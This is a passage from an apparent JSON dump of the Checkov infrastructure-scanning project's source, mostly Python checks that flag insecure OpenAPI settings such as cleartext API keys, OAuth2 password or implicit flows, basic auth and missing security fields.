bc_integration.on_prem:\n                bc_integration.persist_graphs(self.graphs, absolute_root_folder=absolute_root_folder)\n                bc_integration.persist_resource_subgraph_maps(self.resource_subgraph_maps)\n            self.url = self.commit_repository()\n        except Exception:\n            logging.error('An error occurred while uploading scan results to the platform', exc_info=True)\n            bc_integration.s3_setup_failed = True\n\n    def save_sast_assets_data(self, scan_reports: List[Report]) -> None:\n        if not bool(convert_str_to_bool(os.getenv('CKV_ENABLE_UPLOAD_SAST_IMPORTS', False))):\n            return\n        sast_report = [scan_report for scan_report in scan_reports if isinstance(scan_report, SastReport)]\n        sast_imports_report = self.sast_data.get_sast_import_report(sast_report)\n        self.sast_data.set_imports_data(sast_imports_report)\n\n    def save_sast_reachability_data(self, scan_reports: List[Report]) -> None:\n        if not bool(convert_str_to_bool(os.getenv('CKV_ENABLE_UPLOAD_SAST_REACHABILITY', False))):\n            return\n        sast_report = [scan_report for scan_report in scan_reports if isinstance(scan_report, SastReport)]\n        result: Dict[SastLanguages, Any] = {}\n        for rep in sast_report:\n            if rep.sast_reachability:\n                result[rep.language] = {}\n        for rep in sast_report:\n            if rep.sast_reachability:\n                result[rep.language] = {**result[rep.language], **serialize_reachability_report(rep.sast_reachability)}\n\n        formated_report = SastReport.get_formated_reachability_report(result)\n        self.sast_data.set_reachability_report(formated_report)\n\n    def print_results(\n            self,\n            runner_registry: RunnerRegistry,\n            url: str | None = None,\n            created_baseline_path: str | None = None,\n            baseline: Baseline | None = None,\n    ) -> Literal[0, 1]:\n        \"\"\"Print scan results to stdout\"\"\"\n\n        if convert_str_to_bool(os.getenv(\"CHECKOV_NO_OUTPUT\", \"False\")):\n            # this is mainly used for testing, where the report output is not needed\n            return 0\n\n        return runner_registry.print_reports(\n            scan_reports=self.scan_reports,\n            config=self.config,\n            url=url,\n            created_baseline_path=created_baseline_path,\n            baseline=baseline,\n        )\n\n\n# the flag/arg parsing moved to checkov/common/util/ext_argument_parser.py\n\n\nif __name__ == '__main__':\n    ckv = Checkov()\n    sys.exit(ckv.run())\n"
  },
  {
    "path": "checkov/openapi/__init__.py",
    "content": "from checkov.openapi.checks.resource import *  # noqa\n"
  },
  {
    "path": "checkov/openapi/checks/__init__.py",
    "content": ""
  },
  {
    "path": "checkov/openapi/checks/base_openapi_check.py",
    "content": "from __future__ import annotations\n\nfrom typing import Iterable, TYPE_CHECKING\n\nfrom checkov.common.checks.base_check import BaseCheck\nfrom checkov.openapi.checks.registry import openapi_registry as registry\n\nif TYPE_CHECKING:\n    from checkov.common.models.enums import CheckCategories\n\n\nclass BaseOpenapiCheck(BaseCheck):\n    def __init__(self, name: str, id: str, categories: Iterable[CheckCategories], supported_entities: Iterable[str],\n                 block_type: str, path: str | None = None, guideline: str | None = None) -> None:\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=supported_entities,\n            block_type=block_type,\n            guideline=guideline,\n        )\n        self.path = path\n        registry.register(self)\n\n    def is_start_end_line(self, conf: str) -> bool:\n        return conf in {'__startline__', '__endline__'}\n"
  },
  {
    "path": "checkov/openapi/checks/base_registry.py",
    "content": "from checkov.common.bridgecrew.check_type import CheckType\nfrom checkov.common.checks.object_registry import Registry as BaseCheckRegistry\n\n\nclass Registry(BaseCheckRegistry):\n    def __init__(self) -> None:\n        super().__init__(CheckType.OPENAPI)\n\n    def get_key(self, entity_type: str, entity_name: str, check_id: str, file_path: str) -> str:\n        return f'{file_path}.{entity_name}.{check_id}'\n"
  },
  {
    "path": "checkov/openapi/checks/registry.py",
    "content": "from checkov.openapi.checks.base_registry import Registry\n\nopenapi_registry = Registry()\n"
  },
  {
    "path": "checkov/openapi/checks/resource/__init__.py",
    "content": "from checkov.openapi.checks.resource.v2 import *  # noqa\nfrom checkov.openapi.checks.resource.v3 import *  # noqa\nfrom checkov.openapi.checks.resource.generic import *  # noqa\n"
  },
  {
    "path": "checkov/openapi/checks/resource/generic/ClearTextAPIKey.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.checks.enums import BlockType\nfrom checkov.common.util.consts import LINE_FIELD_NAMES\nfrom checkov.openapi.checks.base_openapi_check import BaseOpenapiCheck\n\n\nclass ClearTestAPIKey(BaseOpenapiCheck):\n    def __init__(self) -> None:\n        id = \"CKV_OPENAPI_20\"\n        name = \"Ensure that API keys are not sent over cleartext\"\n        categories = (CheckCategories.API_SECURITY,)\n        supported_resources = ('paths',)\n        super().__init__(name=name, id=id, categories=categories, supported_entities=supported_resources,\n                         block_type=BlockType.DOCUMENT)\n\n    def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]:\n        schemes = conf.get(\"schemes\")\n        if schemes and isinstance(schemes, list):\n            if \"http\" not in schemes and \"ws\" not in schemes:\n                return CheckResult.PASSED, conf\n\n        servers = conf.get(\"servers\")\n        if servers and isinstance(servers, list):\n            if not any(server['url'].startswith('http://') for server in servers) and \\\n               not any(server['url'].startswith('ws://') for server in servers):\n                return CheckResult.PASSED, conf\n\n        components = conf.get(\"components\")\n        security_def = conf.get(\"securityDefinitions\")\n        if components and isinstance(components, dict):\n            security_schemes = components.get(\"securitySchemes\") or {}\n        elif security_def:\n            security_schemes = security_def\n        else:\n            return CheckResult.PASSED, conf\n\n        paths = conf.get('paths')\n        if not isinstance(paths, dict):\n            return CheckResult.PASSED, security_schemes\n\n        filtered_dict = {}\n        if isinstance(security_schemes, dict):\n            for name, scheme in security_schemes.items():\n                if isinstance(scheme, dict) and scheme.get('type') == \"apiKey\":\n                    filtered_dict[name] = scheme\n\n        if not filtered_dict:\n            return CheckResult.PASSED, security_schemes\n\n        for key, path in paths.items():\n            if not path:\n                continue\n            if key in LINE_FIELD_NAMES:\n                continue\n            for value in path.values():\n                if not isinstance(value, dict):\n                    continue\n                operation_security = value.get('security')\n                if operation_security and isinstance(operation_security, list):\n                    for sec in operation_security[0]:\n                        if sec in filtered_dict:\n                            return CheckResult.FAILED, security_schemes\n\n        return CheckResult.PASSED, conf\n\n\ncheck = ClearTestAPIKey()\n"
  },
  {
    "path": "checkov/openapi/checks/resource/generic/GlobalSecurityFieldIsEmpty.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.checks.enums import BlockType\nfrom checkov.openapi.checks.base_openapi_check import BaseOpenapiCheck\n\n\nclass GlobalSecurityFieldIsEmpty(BaseOpenapiCheck):\n    def __init__(self) -> None:\n        id = \"CKV_OPENAPI_4\"\n        name = \"Ensure that the global security field has rules defined\"\n        categories = [CheckCategories.API_SECURITY]\n        supported_resources = ['security']\n        super().__init__(name=name, id=id, categories=categories, supported_entities=supported_resources,\n                         block_type=BlockType.DOCUMENT)\n\n    def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]:\n        security_rules = conf.get(\"security\")\n\n        if security_rules:\n            return CheckResult.PASSED, security_rules\n        return CheckResult.FAILED, conf\n\n\ncheck = GlobalSecurityFieldIsEmpty()\n"
  },
  {
    "path": "checkov/openapi/checks/resource/generic/NoMaximumNumberItems.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.checks.enums import BlockType\nfrom checkov.openapi.checks.base_openapi_check import BaseOpenapiCheck\n\n\nclass NoMaximumNumberItems(BaseOpenapiCheck):\n    def __init__(self) -> None:\n        id = \"CKV_OPENAPI_21\"\n        name = \"Ensure that arrays have a maximum number of items\"\n        categories = (CheckCategories.API_SECURITY,)\n        supported_resources = ('paths',)\n        super().__init__(name=name, id=id, categories=categories, supported_entities=supported_resources,\n                         block_type=BlockType.DOCUMENT)\n\n    def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]:\n        result = self.check_array_max_items(inner_conf=conf)\n        if result:\n            return result\n\n        return CheckResult.PASSED, conf\n\n    def check_array_max_items(self, inner_conf: Any) -> tuple[CheckResult, dict[str, Any]] | None:\n        if isinstance(inner_conf, dict):\n            if \"type\" in inner_conf:\n                if inner_conf[\"type\"] == \"array\" and inner_conf.get(\"maxItems\") is None:\n                    return CheckResult.FAILED, inner_conf\n            for value in inner_conf.values():\n                if isinstance(value, dict):\n                    result = self.check_array_max_items(inner_conf=value)\n                    if result:\n                        return result\n                if isinstance(value, list):\n                    for inner_conf_2 in value:\n                        result = self.check_array_max_items(inner_conf=inner_conf_2)\n                        if result:\n                            return result\n\n        return None\n\n\ncheck = NoMaximumNumberItems()\n"
  },
  {
    "path": "checkov/openapi/checks/resource/generic/SecurityOperations.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.checks.enums import BlockType\nfrom checkov.openapi.checks.base_openapi_check import BaseOpenapiCheck\n\n\nclass SecurityOperations(BaseOpenapiCheck):\n    def __init__(self) -> None:\n        id = \"CKV_OPENAPI_5\"\n        name = \"Ensure that security operations is not empty.\"\n        categories = [CheckCategories.API_SECURITY]\n        supported_resources = ['security']\n        super().__init__(name=name, id=id, categories=categories, supported_entities=supported_resources,\n                         block_type=BlockType.DOCUMENT)\n\n    def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]:\n        self.evaluated_keys = ['security', 'paths']\n\n        # Check if security field is present and not empty at the root level\n        root_security = conf.get('security')\n\n        # If security field is not present or empty at the root level, check within each operation\n        paths = conf.get('paths', {}) or {}\n        if isinstance(paths, dict):\n            for path, http_method in paths.items():\n                if self.is_start_end_line(path):\n                    continue\n                if isinstance(http_method, dict):\n                    for op_name, op_val in http_method.items():\n                        if self.is_start_end_line(op_name):\n                            continue\n                        self.evaluated_keys = ['security']\n                        if not isinstance(op_val, dict):\n                            continue\n                        op_security = op_val.get(\"security\")\n                        if op_security is not None and not op_security:\n                            # fails when security field is set as empty list\n                            return CheckResult.FAILED, conf\n\n                        if op_security is None and not root_security:\n                            # no security field for the operation and not in the root\n                            return CheckResult.FAILED, conf\n\n        return CheckResult.PASSED, conf\n\n\ncheck = SecurityOperations()\n"
  },
  {
    "path": "checkov/openapi/checks/resource/generic/__init__.py",
    "content": "from os.path import dirname, basename, isfile, join\nimport glob\n\nmodules = glob.glob(join(dirname(__file__), \"*.py\"))\n__all__ = [basename(f)[:-3] for f in modules if isfile(f) and not f.endswith(\"__init__.py\")]\n"
  },
  {
    "path": "checkov/openapi/checks/resource/v2/BaseOpenapiCheckV2.py",
    "content": "from __future__ import annotations\n\nfrom typing import Iterable, Any\nfrom abc import abstractmethod\nfrom checkov.openapi.checks.base_openapi_check import BaseOpenapiCheck\nfrom checkov.common.models.enums import CheckResult, CheckCategories\n\n\nclass BaseOpenapiCheckV2(BaseOpenapiCheck):\n    def __init__(self, name: str, id: str, categories: Iterable[CheckCategories], supported_entities: Iterable[str],\n                 block_type: str) -> None:\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=supported_entities,\n            block_type=block_type,\n        )\n\n    @abstractmethod\n    def scan_openapi_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]:\n        raise NotImplementedError()\n\n    def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]:\n        if \"swagger\" in conf:\n            swagger = conf.get(\"swagger\")\n            if isinstance(swagger, str) and swagger == '2.0':\n                return self.scan_openapi_conf(conf, entity_type)\n        return CheckResult.UNKNOWN, conf\n"
  },
  {
    "path": "checkov/openapi/checks/resource/v2/GlobalSchemeDefineHTTP.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.checks.enums import BlockType\nfrom checkov.openapi.checks.resource.v2.BaseOpenapiCheckV2 import BaseOpenapiCheckV2\n\n\nclass GlobalSchemeDefineHTTP(BaseOpenapiCheckV2):\n    def __init__(self) -> None:\n        id = \"CKV_OPENAPI_18\"\n        name = \"Ensure that global schemes use 'https' protocol instead of 'http'- version 2.0 files\"\n        categories = [CheckCategories.API_SECURITY]\n        supported_resources = ['schemes']\n        super().__init__(name=name, id=id, categories=categories, supported_entities=supported_resources,\n                         block_type=BlockType.DOCUMENT)\n\n    def scan_openapi_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]:\n        schemes = conf.get(\"schemes\", [])\n        if not schemes:\n            # If the schemes is not included, the default scheme to be used is the one used to access the Swagger\n            # definition itself, in which case the current check is not relevant.\n            return CheckResult.UNKNOWN, conf\n        if 'http' in schemes:\n            return CheckResult.FAILED, conf\n        return CheckResult.PASSED, conf\n\n\ncheck = GlobalSchemeDefineHTTP()\n"
  },
  {
    "path": "checkov/openapi/checks/resource/v2/GlobalSecurityScopeUndefined.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.checks.enums import BlockType\nfrom checkov.openapi.checks.resource.v2.BaseOpenapiCheckV2 import BaseOpenapiCheckV2\n\n\nclass GlobalSecurityScopeUndefined(BaseOpenapiCheckV2):\n    def __init__(self) -> None:\n        id = \"CKV_OPENAPI_19\"\n        name = \"Ensure that global security scope is defined in securityDefinitions - version 2.0 files\"\n        categories = [CheckCategories.API_SECURITY]\n        supported_resources = [\"security\"]\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=supported_resources,\n            block_type=BlockType.DOCUMENT,\n        )\n\n    def scan_openapi_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]:\n        security_definitions = conf.get('securityDefinitions') or {}\n        security_values = conf.get('security') or [{}]\n        for security in security_values:\n            if not isinstance(security, dict):\n                return CheckResult.UNKNOWN, conf\n            for security_key, security_scopes in security.items():\n                if self.is_start_end_line(security_key) or not security_scopes:\n                    continue\n                security_definition = security_definitions.get(security_key, {})\n                if not security_definition:\n                    return CheckResult.FAILED, conf\n                definition_scopes = security_definition.get('scopes', {})\n                if not definition_scopes:\n                    return CheckResult.FAILED, conf\n                for scope in security_scopes:\n                    if scope not in definition_scopes:\n                        return CheckResult.FAILED, conf\n\n        return CheckResult.PASSED, conf\n\n\ncheck = GlobalSecurityScopeUndefined()\n"
  },
  {
    "path": "checkov/openapi/checks/resource/v2/Oauth2OperationObjectPasswordFlow.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.checks.enums import BlockType\nfrom checkov.openapi.checks.resource.v2.BaseOpenapiCheckV2 import BaseOpenapiCheckV2\n\n\nclass Oauth2OperationObjectPasswordFlow(BaseOpenapiCheckV2):\n    def __init__(self) -> None:\n        id = \"CKV_OPENAPI_10\"\n        name = \"Ensure that operation object does not use 'password' flow in OAuth2 authentication - version 2.0 files\"\n        categories = [CheckCategories.API_SECURITY]\n        supported_resources = [\"paths\"]\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=supported_resources,\n            block_type=BlockType.DOCUMENT,\n        )\n\n    def scan_openapi_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]:\n        paths = conf.get('paths') or {}\n        security_definitions = conf.get('securityDefinitions') or {}\n\n        for path, path_dict in paths.items():\n            if self.is_start_end_line(path):\n                continue\n            if not isinstance(path_dict, dict):\n                return CheckResult.UNKNOWN, conf\n            for operation, operation_dict in path_dict.items():\n                if self.is_start_end_line(operation):\n                    continue\n                if not isinstance(operation_dict, dict):\n                    return CheckResult.UNKNOWN, conf\n                security = operation_dict.get('security', [])\n                for security_definition in security:\n                    if not isinstance(security_definition, dict):\n                        return CheckResult.UNKNOWN, conf\n                    for auth_key, auth_definition in security_definitions.items():\n                        if self.is_start_end_line(auth_key):\n                            continue\n                        if not isinstance(auth_definition, dict):\n                            return CheckResult.UNKNOWN, conf\n                        auth_type = auth_definition.get('type', '')\n                        if auth_type.lower() == 'oauth2':\n                            auth_flow = auth_definition.get('flow', '')\n                            if auth_flow == 'password':\n                                return CheckResult.FAILED, auth_definition\n\n        return CheckResult.PASSED, conf\n\n\ncheck = Oauth2OperationObjectPasswordFlow()\n"
  },
  {
    "path": "checkov/openapi/checks/resource/v2/Oauth2SecurityDefinitionImplicitFlow.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.checks.enums import BlockType\nfrom checkov.openapi.checks.resource.v2.BaseOpenapiCheckV2 import BaseOpenapiCheckV2\n\n\nclass Oauth2SecurityDefinitionImplicitFlow(BaseOpenapiCheckV2):\n    def __init__(self) -> None:\n        id = \"CKV_OPENAPI_12\"\n        name = \"Ensure no security definition is using implicit flow on OAuth2, which is deprecated - version 2.0 files\"\n        categories = [CheckCategories.API_SECURITY]\n        supported_resources = [\"securityDefinitions\"]\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=supported_resources,\n            block_type=BlockType.DOCUMENT,\n        )\n\n    def scan_openapi_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]:\n        security_definitions = conf.get('securityDefinitions') or {}\n\n        for auth_key, auth_dict in security_definitions.items():\n            if self.is_start_end_line(auth_key):\n                continue\n            if not isinstance(auth_dict, dict):\n                return CheckResult.UNKNOWN, conf\n            auth_type = auth_dict.get('type', '')\n            if auth_type.lower() == 'oauth2':\n                auth_flow = auth_dict.get('flow', '')\n                if auth_flow == 'implicit':\n                    return CheckResult.FAILED, auth_dict\n\n        return CheckResult.PASSED, conf\n\n\ncheck = Oauth2SecurityDefinitionImplicitFlow()\n"
  },
  {
    "path": "checkov/openapi/checks/resource/v2/Oauth2SecurityDefinitionPasswordFlow.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.checks.enums import BlockType\nfrom checkov.openapi.checks.resource.v2.BaseOpenapiCheckV2 import BaseOpenapiCheckV2\n\n\nclass Oauth2SecurityDefinitionPasswordFlow(BaseOpenapiCheckV2):\n    def __init__(self) -> None:\n        id = \"CKV_OPENAPI_11\"\n        name = \"Ensure that operation object does not use 'password' flow in OAuth2 authentication - version 2.0 files\"\n        categories = (CheckCategories.API_SECURITY,)\n        supported_resources = (\"securityDefinitions\",)\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=supported_resources,\n            block_type=BlockType.DOCUMENT,\n        )\n\n    def scan_openapi_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]:\n        security_definitions = conf.get('securityDefinitions') or {}\n\n        for auth_key, auth_dict in security_definitions.items():\n            if self.is_start_end_line(auth_key):\n                continue\n            if not isinstance(auth_dict, dict):\n                return CheckResult.UNKNOWN, conf\n            auth_type = auth_dict.get('type', '')\n            if auth_type.lower() == 'oauth2':\n                auth_flow = auth_dict.get('flow', '')\n                if auth_flow == 'password':\n                    return CheckResult.FAILED, auth_dict\n\n        return CheckResult.PASSED, conf\n\n\ncheck = Oauth2SecurityDefinitionPasswordFlow()\n"
  },
  {
    "path": "checkov/openapi/checks/resource/v2/Oauth2SecurityPasswordFlow.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.checks.enums import BlockType\nfrom checkov.openapi.checks.resource.v2.BaseOpenapiCheckV2 import BaseOpenapiCheckV2\n\n\nclass Oauth2SecurityPasswordFlow(BaseOpenapiCheckV2):\n    def __init__(self) -> None:\n        id = \"CKV_OPENAPI_8\"\n        name = \"Ensure that security is not using 'password' flow in OAuth2 authentication - version 2.0 files\"\n        categories = [CheckCategories.API_SECURITY]\n        supported_resources = [\"security\"]\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=supported_resources,\n            block_type=BlockType.DOCUMENT,\n        )\n\n    def scan_openapi_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]:\n        security_values = conf.get(\"security\") or [{}]\n        security_definitions = conf.get('securityDefinitions') or {}\n\n        for auth_dict in security_values:\n            if not isinstance(auth_dict, dict):\n                return CheckResult.UNKNOWN, conf\n            for auth_key in auth_dict:\n                if self.is_start_end_line(auth_key):\n                    continue\n                if not isinstance(security_definitions, dict):\n                    return CheckResult.UNKNOWN, conf\n                auth_definition = security_definitions.get(auth_key, {})\n                auth_type = auth_definition.get('type', '')\n                if auth_type.lower() == 'oauth2':\n                    auth_flow = auth_definition.get('flow', '')\n                    if auth_flow == 'password':\n                        return CheckResult.FAILED, auth_dict\n\n        return CheckResult.PASSED, conf\n\n\ncheck = Oauth2SecurityPasswordFlow()\n"
  },
  {
    "path": "checkov/openapi/checks/resource/v2/Oauth2SecurityRequirement.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.checks.enums import BlockType\nfrom checkov.openapi.checks.resource.v2.BaseOpenapiCheckV2 import BaseOpenapiCheckV2\n\n\nclass Oauth2SecurityRequirement(BaseOpenapiCheckV2):\n    def __init__(self) -> None:\n        id = \"CKV_OPENAPI_2\"\n        name = \"Ensure that if the security scheme is not of type 'oauth2', the array value must be empty - version 2.0 files\"\n        categories = (CheckCategories.API_SECURITY,)\n        supported_resources = ('security',)\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=supported_resources,\n            block_type=BlockType.DOCUMENT,\n        )\n\n    def scan_openapi_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]:\n        security_values = conf.get(\"security\") or [{}]\n        security_definitions = conf.get(\"securityDefinitions\") or {}\n        non_oauth2_keys = []\n\n        for auth_key, auth_dict in security_definitions.items():\n            if self.is_start_end_line(auth_key):\n                continue\n            auth_type = auth_dict.get(\"type\")\n            if auth_type.lower() != \"oauth2\":\n                non_oauth2_keys.append(auth_key)\n\n        for auth_dict in security_values:\n            if not isinstance(auth_dict, dict):\n                return CheckResult.UNKNOWN, conf\n            for key, auth_list in auth_dict.items():\n                if self.is_start_end_line(key):\n                    continue\n                if key in non_oauth2_keys and auth_list:\n                    return CheckResult.FAILED, auth_dict\n\n        return CheckResult.PASSED, conf\n\n\ncheck = Oauth2SecurityRequirement()\n"
  },
  {
    "path": "checkov/openapi/checks/resource/v2/OperationObjectBasicAuth.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.checks.enums import BlockType\nfrom checkov.openapi.checks.resource.v2.BaseOpenapiCheckV2 import BaseOpenapiCheckV2\n\n\nclass OperationObjectBasicAuth(BaseOpenapiCheckV2):\n    def __init__(self) -> None:\n        id = \"CKV_OPENAPI_15\"\n        name = \"Ensure that operation objects do not use basic auth - version 2.0 files\"\n        categories = [CheckCategories.API_SECURITY]\n        supported_resources = [\"paths\"]\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=supported_resources,\n            block_type=BlockType.DOCUMENT,\n        )\n\n    def scan_openapi_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]:\n        paths = conf.get('paths') or {}\n        security_definitions = conf.get('securityDefinitions') or {}\n\n        for path, path_dict in paths.items():\n            if self.is_start_end_line(path):\n                continue\n            if not isinstance(path_dict, dict):\n                return CheckResult.UNKNOWN, conf\n            for operation, operation_dict in path_dict.items():\n                if self.is_start_end_line(operation):\n                    continue\n                if not isinstance(operation_dict, dict):\n                    return CheckResult.UNKNOWN, conf\n                security = operation_dict.get('security', [])\n                for security_definition in security:\n                    for auth_key in security_definition:\n                        if self.is_start_end_line(auth_key):\n                            continue\n                        if not isinstance(security_definitions, dict):\n                            return CheckResult.UNKNOWN, conf\n                        auth_definition = security_definitions.get(auth_key, {})\n                        auth_type = auth_definition.get('type', '')\n                        if auth_type == 'basic':\n                            return CheckResult.FAILED, auth_definition\n\n        return CheckResult.PASSED, conf\n\n\ncheck = OperationObjectBasicAuth()\n"
  },
  {
    "path": "checkov/openapi/checks/resource/v2/OperationObjectConsumesUndefined.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.checks.enums import BlockType\nfrom checkov.openapi.checks.resource.v2.BaseOpenapiCheckV2 import BaseOpenapiCheckV2\n\n\nclass OperationObjectConsumesUndefined(BaseOpenapiCheckV2):\n    def __init__(self) -> None:\n        id = \"CKV_OPENAPI_17\"\n        name = \"Ensure that operation objects have 'consumes' field defined for PUT, POST and PATCH operations - version 2.0 files\"\n        categories = [CheckCategories.API_SECURITY]\n        supported_resources = [\"paths\"]\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=supported_resources,\n            block_type=BlockType.DOCUMENT,\n        )\n\n    def scan_openapi_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]:\n        paths = conf.get('paths') or {}\n\n        for path, path_dict in paths.items():\n            if self.is_start_end_line(path):\n                continue\n            if not isinstance(path_dict, dict):\n                return CheckResult.UNKNOWN, conf\n            for operation, operation_dict in path_dict.items():\n                if self.is_start_end_line(operation):\n                    continue\n                if operation.lower() in ['post', 'put', 'patch']:\n                    if not isinstance(operation_dict, dict):\n                        return CheckResult.UNKNOWN, conf\n                    if not operation_dict.get('consumes'):\n                        return CheckResult.FAILED, operation_dict\n\n        return CheckResult.PASSED, conf\n\n\ncheck = OperationObjectConsumesUndefined()\n"
  },
  {
    "path": "checkov/openapi/checks/resource/v2/OperationObjectImplicitFlow.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.checks.enums import BlockType\nfrom checkov.openapi.checks.resource.v2.BaseOpenapiCheckV2 import BaseOpenapiCheckV2\n\n\nclass OperationObjectImplicitFlow(BaseOpenapiCheckV2):\n    def __init__(self) -> None:\n        id = \"CKV_OPENAPI_14\"\n        name = \"Ensure that operation objects do not use 'implicit' flow, which is deprecated - version 2.0 files\"\n        categories = [CheckCategories.API_SECURITY]\n        supported_resources = [\"paths\"]\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=supported_resources,\n            block_type=BlockType.DOCUMENT,\n        )\n\n    def scan_openapi_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]:\n        paths = conf.get('paths') or {}\n        security_definitions = conf.get('securityDefinitions') or {}\n\n        for path, path_dict in paths.items():\n            if self.is_start_end_line(path):\n                continue\n            if not isinstance(path_dict, dict):\n                return CheckResult.UNKNOWN, conf\n            for operation, operation_dict in path_dict.items():\n                if self.is_start_end_line(operation):\n                    continue\n                if not isinstance(operation_dict, dict):\n                    return CheckResult.UNKNOWN, conf\n                security = operation_dict.get('security', [])\n                for security_definition in security:\n                    if not isinstance(security_definition, dict):\n                        return CheckResult.UNKNOWN, conf\n                    for auth_key in security_definition:\n                        if self.is_start_end_line(auth_key):\n                            continue\n                        if not isinstance(security_definitions, dict):\n                            return CheckResult.UNKNOWN, conf\n                        auth_definition = security_definitions.get(auth_key, {})\n                        auth_flow = auth_definition.get('flow', '')\n                        if auth_flow == 'implicit':\n                            return CheckResult.FAILED, auth_definition\n\n        return CheckResult.PASSED, conf\n\n\ncheck = OperationObjectImplicitFlow()\n"
  },
  {
    "path": "checkov/openapi/checks/resource/v2/OperationObjectProducesUndefined.py",
    "content": "from __future__ import annotations\n\nfrom typing import Any\nfrom checkov.common.models.enums import CheckResult, CheckCategories\nfrom checkov.common.checks.enums import BlockType\nfrom checkov.openapi.checks.resource.v2.BaseOpenapiCheckV2 import BaseOpenapiCheckV2\n\n\nclass OperationObjectProducesUndefined(BaseOpenapiCheckV2):\n    def __init__(self) -> None:\n        id = \"CKV_OPENAPI_16\"\n        name = \"Ensure that operation objects have 'produces' field defined for GET operations - version 2.0 files\"\n        categories = [CheckCategories.API_SECURITY]\n        supported_resources = [\"paths\"]\n        super().__init__(\n            name=name,\n            id=id,\n            categories=categories,\n            supported_entities=supported_resources,\n            block_type=BlockType.DOCUMENT,\n        )\n\n    def scan_openapi_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]:\n        paths = conf.get('paths') or {}\n        if not isinstance(paths, dict):\n            return CheckResult.UNKNOWN, conf\n\n        for path, path_dict in paths.items():\n            if self.is_start_end_line(path):\n                continue\n            if not isinstance(path_dict, dict):\n                return CheckResult.UNKNOWN, conf\n            for operation, operation_dict in path_dict.items():\n                if self.is_start_end_line(operation):\n                    continue\n                if operation.lower() == 'get':\n                    if not isinstance(operation_dict, dict):\n                        return CheckResult.UNKNOWN, conf\n                    if not operation_dict.get('produces'):\n                        return CheckResult.FAILED, operation_dict\n\n        return CheckResult.PASSED, conf\n\n\ncheck = OperationObjectProducesUndefined()\n"
  },
  {
    "path": "checkov/openapi/checks/resource/v2/OperationObjectSecurityScopeUndefined.py",
